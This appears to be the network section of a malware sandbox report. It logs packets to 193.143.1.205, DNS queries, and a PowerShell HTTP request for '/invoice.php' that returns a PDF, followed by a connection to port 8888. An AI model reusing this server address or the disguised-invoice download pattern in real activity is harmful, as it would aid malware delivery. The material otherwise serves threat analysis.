Jan 11, 2025 07:52:02.793288946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.793293953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793308973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793323040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793338060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793343067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.793375015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.793412924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793427944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793442011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793456078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793471098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793495893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.793512106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793515921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.793526888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793541908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793553114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.793589115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.793622017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793637037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.793704033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824168921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824194908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824208975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824229956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824244976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824260950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824265957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824323893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824460030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824481964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824495077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824508905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824523926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824528933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824536085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824549913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824563980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824568033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824578047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824592113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824599028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824615002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824620008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824630022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824640989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824651957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824673891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824687958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824682951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824738979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824747086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824770927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824783087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824819088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824856997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824892044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824892044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824923992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824948072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.824961901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.824990988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825002909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825038910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825087070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825097084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825138092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825186014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825187922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825232983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825267076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825290918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825314999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825361967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825364113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825408936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825442076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825459957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825473070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825505018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825539112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825551987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825597048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825601101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825648069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825679064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825702906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825711966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825742960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825756073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825790882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825838089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825845957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825869083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825913906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825917006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825948954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.825995922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.825995922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826044083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826076984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826101065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826109886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826153994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826155901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826184988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826215982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826225042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826248884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826280117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826303005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826312065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826344013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826359034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826375961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826407909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826426029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826440096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826472998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826484919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826505899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826533079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826564074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826565981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826596975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826610088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826628923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826661110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826693058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826694965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826725960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826738119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826757908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826792955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826805115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826823950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826857090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826879025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826889038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826906919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826939106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.826944113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.826972008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.827002048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.827003956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.827035904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.827058077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.827068090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.827099085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.827122927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.831675053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.855077982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.855102062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.855125904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.855142117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.855149984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.855156898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.855170965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.855185986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.855240107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.855273008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.857367039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.884285927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884301901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884320974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884341955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884356976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884366989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.884371042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884393930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884397984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.884416103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884417057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.884429932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884444952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884459019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884473085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884478092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.884488106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884500980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884516001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884520054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.884548903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884568930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884582996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.884582996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884598017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884605885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.884620905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884634972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884635925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.884649038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884661913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.884666920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.884695053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.915090084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915147066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915177107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915184975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.915225029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.915225983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915271997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915303946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915335894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.915360928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915397882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915430069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915431023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.915458918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915489912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.915492058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915524006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915539980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.915551901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915582895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915602922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.915616035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915649891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:02.915667057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:02.967350006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:03.072303057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:04.334002972 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:04.338928938 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:04.339148045 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:04.339245081 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:04.344038963 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:05.110344887 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:52:05.154800892 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:52:05.361062050 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:52:17.237291098 CET	49890	53	192.168.2.5	1.1.1.1
Jan 11, 2025 07:52:31.117964029 CET	53253	53	192.168.2.5	1.1.1.1
Jan 11, 2025 07:52:43.508615971 CET	64082	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:52:17.237291098 CET	192.168.2.5	1.1.1.1	0xc65d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:52:31.117964029 CET	192.168.2.5	1.1.1.1	0xb4a6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:52:43.508615971 CET	192.168.2.5	1.1.1.1	0x42af	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 07:52:17.244429111 CET	1.1.1.1	192.168.2.5	0xc65d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:52:31.124993086 CET	1.1.1.1	192.168.2.5	0xb4a6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:52:43.517031908 CET	1.1.1.1	192.168.2.5	0x42af	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1520	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:52:01.372939110 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:52:02.154964924 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:52:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:52:02.155019999 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:52:02.155073881 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 07:52:02.155107021 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 07:52:02.155139923 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 07:52:02.155169964 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 07:52:02.155205011 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
